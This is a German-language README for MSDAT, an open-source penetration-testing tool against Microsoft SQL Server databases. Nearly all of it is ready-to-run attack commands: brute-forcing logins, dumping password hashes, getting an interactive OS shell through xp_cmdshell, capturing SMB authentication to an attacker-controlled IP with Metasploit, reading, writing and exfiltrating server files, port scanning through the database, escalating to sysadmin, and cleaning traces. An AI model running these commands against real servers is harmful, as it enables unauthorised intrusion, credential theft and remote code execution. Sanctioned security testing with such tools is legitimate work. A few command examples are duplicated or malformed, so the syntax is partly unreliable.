
MSDAT: Microsoft SQL-Datenbank-Angriffswerkzeug
| Quentin HARDY |
|---|
| [email protected] |
| [email protected] |
MSDAT (Microsoft SQL Datenbank-Angriffs-Werkzeug) ist ein Open-Source-Penetrationstest-Tool, das die Sicherheit von Microsoft SQL-Datenbanken remote testet.
Anwendungsbeispiele von MSDAT:
Getestet auf Microsoft SQL-Datenbank 2005, 2008, 2012, 2014, 2016 und 2019.
Dank MSDAT (Microsoft SQL Datenbank-Angriffs-Werkzeug) können Sie (nicht abschließende Liste):
Einige Abhängigkeiten müssen installiert werden, um MSDAT auszuführen.
In Ubuntu:
sudo apt-get install freetds-dev
oder freetds herunterladen auf http://www.freetds.org/
Python-Abhängigkeiten installieren:
sudo pip3 install -r requirements.txt
sudo activate-global-python-argcomplete
oder
sudo pip3 install cython colorlog termcolor pymssql argparse python-libnmap
sudo pip3 install argcomplete && sudo activate-global-python-argcomplete
Fügen Sie "use ntlmv2 = yes" in Ihrer freetds-Konfigurationsdatei hinzu (z. B. /etc/freetds/freetds.conf oder /usr/local/etc/freetds.conf).
Beispiel:
[global]
# TDS protocol version
tds version = 8.0
use ntlmv2 = yes
python3 msdat.py -h 2 ⨯
usage: msdat.py [-h] [--version]
{all,mssqlinfo,passwordguesser,passwordstealer,xpcmdshell,jobs,smbauthcapture,oleautomation,bulkopen,xpdirectory,trustworthype,userlikepwd,search,cleaner}
...
_ _ __ __ _ ___
| \_/ |/ _|| \ / \|_ _|
| \_/ |\_ \| o ) o || |
|_| |_||__/|__/|_n_||_|
------------------------------------------------------
_ _ __ __ _ ___
| \_/ |/ _| | \ / \ |_ _|
| \_/ |\_ \ | o ) o | | |
|_| |_||__/icrosoft |__/atabase |_n_|ttacking |_|ool
-------------------------------------------------------
Von Quentin Hardy ([email protected])
positionale Argumente:
{all,mssqlinfo,passwordguesser,passwordstealer,xpcmdshell,jobs,smbauthcapture,oleautomation,bulkopen,xpdirectory,trustworthype,userlikepwd,search,cleaner}
Wählen Sie einen Hauptbefehl
all um alle Module auszuführen, um herauszufinden, was möglich ist
mssqlinfo um Informationen ohne Authentifizierung zu erhalten
passwordguesser um gültige Anmeldedaten zu ermitteln
passwordstealer um gehashte Passwörter zu erhalten
xpcmdshell um eine Shell zu erhalten
jobs um Systembefehle auszuführen
smbauthcapture um eine SMB-Authentifizierung zu erfassen
oleautomation um Dateien zu lesen/schreiben und Systembefehle auszuführen
bulkopen um eine Datei zu lesen und Ports zu scannen
xpdirectory um Dateien/Laufwerke aufzulisten und Verzeichnisse zu erstellen
trustworthype um mit der Trustworthy-Datenbank-Methode Sysadmin zu werden
userlikepwd um jeden in der DB gespeicherten MSSQL-Benutzernamen als entsprechendes Passwort zu versuchen
search um in Spaltennamen zu suchen
cleaner lokale Spuren bereinigen
optionale Argumente:
-h, --help Diese Hilfemeldung anzeigen und beenden
--version Programmversionsnummer anzeigen und beenden
./msdat.py -h
./msdat.py all -h
Sie können mit der Option --test-module herausfinden, ob ein bestimmtes Modul auf einem MSSQL-Server verwendet werden kann. Diese Option ist in jedem mdat-Modul implementiert.
Das all-Modul ermöglicht es Ihnen, alle Module auszuführen (abhängig von den Optionen, die Sie erworben haben).
python msdat.py all -s $SERVER
Wenn Sie:
./msdat.py all -s $SERVER -p $PORT --accounts-file accounts.txt --login-timeout 10 --force-retry
In jedem Modul können Sie mit der Option --charset den zu verwendenden Zeichensatz festlegen.
Um technische Informationen über einen entfernten MSSQL-Server ohne Authentifizierung zu erhalten:
./msdat.py mssqlinfo -s $SERVER -p $PORT --get-max-info
Dieses Modul verwendet das TDS-Protokoll und SQL-Browser-Server, um Informationen zu erhalten.
Dieses Modul ermöglicht es Ihnen, gültige Anmeldedaten zu suchen:
./msdat.py passwordguesser -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --force-retry --search
Die Option --force-retry ermöglicht es, mehrere Passwörter für jeden Benutzer zu testen, ohne dass Sie nachgefragt werden
Sie können Ihre eigene Kontodatei mit der Option --accounts-file angeben:
./msdat.py passwordguesser -s $SERVER -p $PORT --search --accounts-file accounts.txt --force-retry
Um gehashte Passwörter zu dumpen:
./msdat.py passwordstealer -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --dump --save-to-file test.txt
Dieses Modul wurde auf SQL Server 2000, 2005, 2008 und 2014 getestet.
Um Systembefehle dank xp_cmdshell auszuführen (https://msdn.microsoft.com/en-us/library/ms190693.aspx):
./msdat.py xpcmdshell -s $SERVER -p $PORT -U $USER -P $PASSWORD --shell
Der vorherige Befehl gibt Ihnen eine interaktive Shell auf dem entfernten Datenbankserver.
Wenn xp_cmdshell nicht aktiviert ist, kann die Option --enable-xpcmdshell in diesem Modul verwendet werden, um es zu aktivieren:
./msdat.py xpcmdshell -s $SERVER -p $PORT -U $USER -P $PASSWORD --enable-xpcmdshell --disable-xpcmdshell --disable-xpcmdshell --shell
Die Option --enable-xpcmdshell aktiviert xp_cmdshell, falls es nicht aktiviert ist (standardmäßig nicht aktiviert).
Die Option --disable-xpcmdshell deaktiviert xp_cmdshell, falls es aktiviert ist.
Mit diesem Modul können Sie eine SMB-Authentifizierung erfassen:
./msdat.py smbauthcapture -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --capture $MY_IP_ADDRESS --share-name SHARE
Um die SMB-Authentifizierung zu erfassen, könnte das Modul auxiliary/server/capture/smb (http://www.rapid7.com/db/modules/auxiliary/server/capture/smb) von Metasploit verwendet werden:
msf > use auxiliary/server/capture/smb
msf auxiliary(smb) > exploit
Der Befehl capture dieses Moduls versucht, eine SMB-Authentifizierung dank der Prozeduren xp_dirtree, xp_fileexist oder xp-getfiledetails zu erfassen.
Wenn Sie die SMB-Authentifizierungsprozedur zur Erfassung der Authentifizierung auswählen möchten:
./msdat.py smbauthcapture -s $SERVER -p $PORT -U $USER -P $PASSWORD --xp-dirtree-capture 127.0.0.1
./msdat.py smbauthcapture -s $SERVER -p $PORT -U $USER -P $PASSWORD --xp-fileexist-capture 127.0.0.1
./msdat.py smbauthcapture -s $SERVER -p $PORT -U $USER -P $PASSWORD --xp-getfiledetails-capture 127.0.0.1
Sie können den SHARE-Namen mit der Option --share-name ändern.
Dieses Modul kann verwendet werden, um Dateien auf dem Datenbankserver zu lesen/schreiben.
Der folgende Befehl liest die Datei temp.txt, die auf dem Datenbankserver gespeichert ist:
./msdat.py oleautomation -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --read-file 'C:\Users\Administrator\Desktop\temp.txt'
Um einen Text in eine Datei (temp.txt) remote zu schreiben:
./msdat.py oleautomation -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --write-file 'C:\Users\Administrator\Desktop\temp.txt' 'a\nb\nc\nd\ne\nf'
Dieses Modul kann verwendet werden, um eine Datei (C:\Users\Administrator\Desktop\temp.txt), die auf dem Datenbankserver gespeichert ist, herunterzuladen:
./msdat.py oleautomation -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --get-file 'C:\Users\Administrator\Desktop\temp.txt' temp.txt
Außerdem können Sie dieses Modul verwenden, um eine Datei (temp.txt) auf das Ziel hochzuladen:
./msdat.py oleautomation -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --put-file temp.txt 'C:\Users\Administrator\Desktop\temp.txt
Das Modul bulkopen kann verwendet werden:
Um eine auf dem Ziel gespeicherte Datei zu lesen, kann der folgende Befehl verwendet werden:
./msdat.py bulkopen -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --read-file 'C:\Users\Administrator\Desktop\temp.txt'"
Die Option --method kann verwendet werden, um die zu verwendende Methode anzugeben:
./msdat.py bulkopen -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --read-file 'C:\Users\Administrator\Desktop\temp.txt' --method openrowset
Um eine Datei (C:\Users\Administrator\Desktop\temp.txt) herunterzuladen:` ``bash ./msdat.py bulkopen -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --get-file 'C:\Users\Administrator\Desktop\temp.txt' temp.txt
Dieses Modul kann verwendet werden, um Ports (1433 und 1434 von 127.0.0.1) durch den Datenbankserver zu scannen:
```bash
./msdat.py bulkopen -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --scan-ports 127.0.0.1 1433,1434 -v
Sie können einen Portbereich scannen:
./msdat.py bulkopen -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --scan-ports 127.0.0.1 1433-1438
Dieses Modul kann verwendet werden, um SQL-Anfragen (z. B. select @@ServerName) auf einem entfernten Datenbankserver (z. B. $SERVER2) durch die Datenbank ($SERVER) auszuführen:
./msdat.py bulkopen -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --request-rdb $SERVER2 $PORT $DATABASE $USER $PASSWORD 'select @@ServerName'
Das Modul xpdirectory kann verwendet werden:
Um Dateien in einem bestimmten Verzeichnis aufzulisten:
./msdat.py xpdirectory -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --list-files 'C:\'
Um Verzeichnisse in einem bestimmten Verzeichnis aufzulisten:
./msdat.py xpdirectory -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --list-dir 'C:\'
Um Laufwerke aufzulisten:
./msdat.py xpdirectory -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --list-fixed-drives --list-available-media
Um zu prüfen, ob eine Datei existiert:
./msdat.py xpdirectory -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --file-exists 'C:\' --file-exists 'file.txt'
Um ein Verzeichnis zu erstellen:
./msdat.py xpdirectory --s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --create-dir 'C:\temp'
Das Modul search kann verwendet werden, um ein Muster in Spaltennamen von Tabellen und Ansichten zu suchen. Nützlich, um beispielsweise das Muster %password% in Spaltennamen zu suchen.
Um Spaltennamen zu erhalten, die Passwortmuster enthalten (z. B. passwd, password, motdepasse, clave):
./msdat.py search -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --pwd-column-names --show-empty-columns
Wenn Sie Spaltennamen sehen möchten, die keine Daten enthalten, sollten Sie die Option --show-empty-columns verwenden.
Um ein bestimmtes Muster in Spaltennamen von Ansichten und Tabellen zu suchen:
./msdat.py search -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --pwd-column-names --show-empty-columns
Wenn Sie meine Arbeit durch eine Spende unterstützen möchten, würde ich mich sehr freuen: